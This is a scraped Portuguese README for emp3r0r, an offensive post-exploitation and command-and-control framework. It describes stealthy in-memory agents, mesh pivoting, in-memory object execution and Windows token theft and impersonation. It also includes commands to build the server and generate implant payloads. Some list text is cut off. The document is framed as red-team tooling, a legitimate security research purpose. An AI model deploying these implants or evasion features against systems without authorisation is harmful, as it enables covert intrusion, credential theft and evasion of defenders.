
Malha de Gossip C2 com Autocura e Descoberta Assistida de Pares, Execução BOF Multiplataforma e Agentes Programáveis.
C2 de malha gossip com autocura, descoberta assistida de pares, execução de BOF multiplataforma e agentes scriptáveis.
O emp3r0r é um framework avançado de pós-exploração e sistema de comando e controle (C2) de confiança zero, projetado para ambientes-alvo Linux e Windows. Construído do zero para operar em ambientes de alta segurança, o emp3r0r combina rede de malha gossip autônoma, execução sem arquivos apenas em memória, carregamento BOF multiplataforma, transferência de arquivos entre agentes e agentes scriptáveis em memória para proporcionar furtividade superior, controle operacional e segurança operacional (OPSEC).
Os agentes do emp3r0r possuem um mecanismo de script Starlark embutido (um dialeto de Python implementado puramente em Go). Os scripts são executados sem arquivos, diretamente na memória, sem exigir Python, Bash ou PowerShell instalados no alvo.
/bin/sh, powershell.exe) nem depender de runtimes instalados.read_file, write_file, list_dir, mkdir, remove, exists), rede HTTP (http_get, http_post), execução de comandos (exec_cmd) e hash (crypto_hash).win_call, , , ) diretamente do código do script, sem compilar código C nativo.Por que isso é importante: Os módulos de script de C2 tradicionais exigem interpretadores do host ou criação de processos, deixando rastros pesados de execução em disco ou na linha de comando. Os agentes scriptáveis do emp3r0r executam lógica complexa inteiramente em memória, com interação nativa com o sistema.
O emp3r0r aplica Confiança no Primeiro Uso (TOFU) com fixação estrita de UUID e chave pública no registro do agente.
forget_agent.Por que isso é importante: Impede o sequestro de sessão, a clonagem de agentes e o desvio silencioso de identidade entre ambientes operacionais.
Todas as comunicações de C2 e entre pares aplicam troca de chaves ECDH com chaves de sessão derivadas de HKDF.
Por que isso é importante: Impede a descriptografia retrospectiva de capturas de rede interceptadas.
Agentes em segmentos de rede com restrição de saída ou isolados descobrem pares de forma autônoma e fazem tunelamento de tráfego por meio de uma rede de malha baseada em gossip (Memberlist).
Por que isso é importante: O pivô entre redes segmentadas ocorre de forma autônoma, sem exigir intervenção constante do operador ou configurações estáticas de proxy.
Compartilhamento direto de arquivos entre agentes por transporte de retransmissão P2P (mTLS/KCP) para acelerar a entrega de arquivos em redes internas.
Por que isso é importante: O compartilhamento direto de arquivos entre agentes maximiza a velocidade de transferência, contorna gargalos de rede e reduz a visibilidade do tráfego direto com o C2.
Stagers de download flexíveis do Estágio 0 e listeners de protocolo para acesso inicial e entrega de payloads.
.bin), executáveis ELF autônomos ou objetos compartilhados (.so).Execute módulos binários em memória em alvos Windows e Linux:
int, short, cstr, wstr, binary)..o) diretamente na memória do agente no Linux.Por que isso é importante: Elimina a sobrecarga de criação de processos e contorna o monitoramento de linha de comando ao executar módulos C compilados no processo.
Agentes no Windows podem roubar, armazenar em cache e personificar tokens de acesso de processos em execução — inteiramente no processo, usando syscalls NT indiretas.
steal_token --pid <PID> duplica um token de processo via NtOpenProcess + NtDuplicateToken e o armazena em memória por SID. Opcionalmente, encadeie a personificação com --token <sid> para escalar de uma identidade roubada para outra.list_tokens exibe todos os tokens em cache com nomes DOMAIN\User (SID).--token <sid>) em qualquer módulo — Go, Starlark, COFF/BOF. A personificação em nível de thread (NtSetInformationThread) é aplicada em torno de operações sensíveis.read_file, write_file, exec_cmd, proxy de API Win32, etc.) personificam automaticamente por syscall quando um token está definido, e pode criar processos filhos sob a identidade roubada via .Por que isso é importante: Sem ferramentas externas, sem artefatos em disco, sem ruído de criação de processos. O roubo e a reutilização de tokens ocorrem inteiramente no processo usando syscalls indiretas, com os tokens roubados imediatamente utilizáveis por todos os módulos embutidos.
http_poll) com perfis HTTP maleáveis e streaming (h2conn) sobre HTTP/2.Para compilar o emp3r0r, é necessário Docker ou Podman no host. Nenhuma toolchain Go local é necessária.
# Clone repository
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# Build inside a container and install locally
./install.sh
O instalador compila os binários principais dentro de um container descartável, gera o emp3r0r-operator-kit.tar.zst pré-compilado, configura os recursos Linux necessários (setcap) e define os diretórios de runtime do sistema.
Opções:
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
Inicie o servidor C2:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
Observação: Se for instalado com o usuário root em vez do sudo padrão, o seu usuário atual pode não conseguir iniciar o emp3r0r, pois o instalador não consegue definir as permissões corretamente. O mesmo se aplica às suas máquinas de operador.
Transfira o emp3r0r-operator-kit.tar.zst gerado para a sua máquina de operador e execute o instalador:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
Conecte o cliente do operador ao servidor C2 usando as credenciais do túnel WireGuard exibidas pelo servidor:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
Use o comando generate na interface do operador do emp3r0r para criar payloads.
Agente C2 Direto:
generate --type linux_executable --arch amd64 --cc your.domain.com
Agente Gateway de Malha:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
Par Intermediário de Malha:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
Se o emp3r0r se mostrou valioso em sua pesquisa e testes de segurança, considere apoiar seu desenvolvimento contínuo por meio do GitHub Sponsors.
win_allocwin_freewin_read_memconfig.json) para análise e distribuição de parâmetros de CLI sem interrupções.exec_cmdCreateProcessWithTokenW